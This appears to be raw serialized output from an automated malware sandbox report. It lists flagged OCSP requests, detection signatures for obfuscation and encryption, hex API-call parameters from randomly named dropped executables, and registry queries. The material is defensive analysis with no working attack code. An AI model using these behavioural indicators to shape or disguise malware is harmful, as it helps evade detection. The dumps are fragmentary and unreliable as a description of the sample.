Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"29:T557,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Found XOR operators (encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: PCAP contains base64 strings Matched sigs: Decrypted SSL network traffic Matched sigs: Contains ability to decode base64 data Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES Encryption2a:T162c,"file.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002592) "aW5Tb54.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000176) "op9Jo62.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002548) "zt7vg41.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003412) "ss3vj64.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002168) "Gj9uC90.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003716) "dm8Sa10.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000984) "1wL27Vk7.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001784) "1wL27Vk7.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000003200000000000000000001000000000000000018000101bcee1600d3273f7348f0160095e18c7750000050b00d30000000000016649077f8a0300048ec300014000000800000000000000040ec3000d0ef1600f4c51f77101730000100000014000000020000000c00000000002b00b00d3000ab0d3000000000005c7b3f0000002b00000000013cef1600b4443f735cf5160095e18c7741391800feffffff435c90775059907794000000a0000000aa0d3000a80d300094000000e0f01600fdfe1f7784f0160088f016001000000001000000 (UID: 00000000-00001784)2b:T24b4,"1wL27Vk7.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006c0072002e0064006c006c00000000000000050000059315000080023000a8592d000100000000000000000000000000000000000000 (UID: 00000000-00001784) "2hc1372.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002864) "2hc1372.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002864) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000044614300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000bcea1d008a876775f07142006ceb1d00980a2000980a2000000000002c306775b2f490775191957754eb1d000000f4710000f471bcea1d00e4ea1d00f0000000f000f47100000000c0ea1d000000000054ec1d00000000000100000024eb1d0040f59077000000000000000010eb1d00 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310071d8f2b707b29c5f773437646b00000000010000000000000001000000fcf2b7070000000028120c0238f3b707d0221c0708f3b7078f9c5f773437646b020000000000000018000000010000000cf3b7072823d26b00003e00000000000c0000002022220218f3b7072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007770251f0798c920070000000070251f07100000000000000030eb1d0050dcaa7770251f071000000094fd1e07540a5a07100000005ceb1d00a6ec446e02000000000000001800000028c7446e60eb1d002823d26b00003e00000000000c00000028c7446e6ceb1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000058ec1d006a6f256500000000bc6f2565bd017776d4e71d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646b18ec1d002823d26b00003e00000000000c00000030a5646b24ec1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a386926b00b21f0700000000f0f3dd079823926b00b21f0738f4dd07e722916b00b21f0720000000000000003c37916b28120c0220e2380228120c0202000000000000001800000000b21f073cf4dd072823d26b00003e00000000000c00000020e2380248f4dd072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007770251f0798c920070000000070251f071000000000000000b0e61d0050dcaa7770251f071000000054531f074c365c0710000000dce61d00a6ec446e02000000000000001800000028c7446ee0e61d002823d26b00003e00000000000c00000028c7446eece61d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000001000000fce71d006a6f256500000000bc6f2565d10d777678e31d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646bbce71d002823d26b00003e00000000000c00000030a5646bc8e71d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a386926bf0b21f0700000000d0edca079823926bf0b21f0718eeca07e722916bf0b21f0720000000000000003c37916b28120c0220e2390228120c0202000000000000001800000000b21f071ceeca072823d26b00003e00000000000c00000020e2390228eeca072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031007770251f0798c920070000000070251f0710000000000000001cea1d0050dcaa7770251f071000000094fd1e07d45b5c071000000048ea1d00a6ec446e02000000000000001800000028c7446e4cea1d002823d26b00003e00000000000c00000028c7446e58ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000044eb1d006a6f256500000000bc6f256589007776c0e61d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646b04eb1d002823d26b00003e00000000000c00000030a5646b10eb1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a386926b38b61f070000000040f0d4079823926b38b61f0788f0d407e722916b38b61f0720000000000000003c37916b28120c0220423a0228120c0202000000000000001800000000b61f078cf0d4072823d26b00003e00000000000c00000020423a0298f0d4072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077f0bc1f0798c9200700000000f0bc1f072000000000000000dce91d0050dcaa77f0bc1f071000000054531f07d45b5c071000000008ea1d00a6ec446e02000000000000001800000028c7446e0cea1d002823d26b00003e00000000000c00000028c7446e18ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000010eb1d006a6f256500000000bc6f2565c50077768ce61d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646bd0ea1d002823d26b00003e00000000000c00000030a5646bdcea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310007a386926b20b51f0700000000c0f1e0079823926b20b51f0708f2e007e722916b20b51f0720000000000000003c37916b28120c0220623a0228120c0202000000000000001800000000b51f070cf2e0072823d26b00003e00000000000c00000020623a0218f2e0072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077c8b21f0798c9200700000000c8b21f072000000000000000d8e91d0050dcaa77c8b21f071000000054531f07ec8e5c071000000004ea1d00a6ec446e02000000000000001800000028c7446e08ea1d002823d26b00003e00000000000c00000028c7446e14ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000010000000ceb1d006a6f256500000000bc6f2565c100777688e61d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646bccea1d002823d26b00003e00000000000c00000030a5646bd8ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006ba0e5220700000000e8f0ff079823926ba0e5220734f1ff07e722916ba0e5220720000000000000003c37916b28120c0220023b0228120c0220023b020200000000000000180000005fa57c4038f1ff072823d26b00003e00000000000c00000020023b0244f1ff072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077f0bc1f0798c9200700000000f0bc1f072000000000000000dce91d0050dcaa77f0bc1f071000000054531f07d4ff5d071000000008ea1d00a6ec446e02000000000000001800000028c7446e0cea1d002823d26b00003e00000000000c00000028c7446e18ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000100000004eb1d006a6f256500000000bc6f2565c900777680e61d000000000040f11d0015de0e76f92f7a00feffffff7f671676e2d86e772824da6d02000000000000001800000030a5646bc4ea1d002823d26b00003e00000000000c00000030a5646bd0ea1d002f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006b40e6220700000000b8ebfe079823926b40e6220704ecfe07e722916b40e6220720000000000000003c37916b28120c0220223b0228120c0220223b020200000000000000180000005fa57c4008ecfe072823d26b00003e00000000000c00000020223b0214ecfe072f99646b0c000000 (UID: 00000000-00002148) "4EM873Jt.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310077f0bc1f0798c9200700000000f0bc1f072000000000000000d8e91d0050dcaa77f0bc1f071000000054531f074cfe5d071000000004ea1d00a6ec446e02000000000000001800000028c7446e08ea1d002823d26b00003e00000000000c00000028c7446e14ea1d002f99646b0c000000 (UID: 00000000-00002148)2c:T730,"file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "file.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "aW5Tb54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "aW5Tb54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "op9Jo62.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "op9Jo62.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "zt7vg41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "zt7vg41.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ss3vj64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ss3vj64.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Gj9uC90.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Gj9uC90.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "dm8Sa10.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "dm8Sa10.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1wL27Vk7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2hc1372.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2d:T1223,"2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "2hc1372.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "")2e:T948,"4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "4EM873Jt.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") 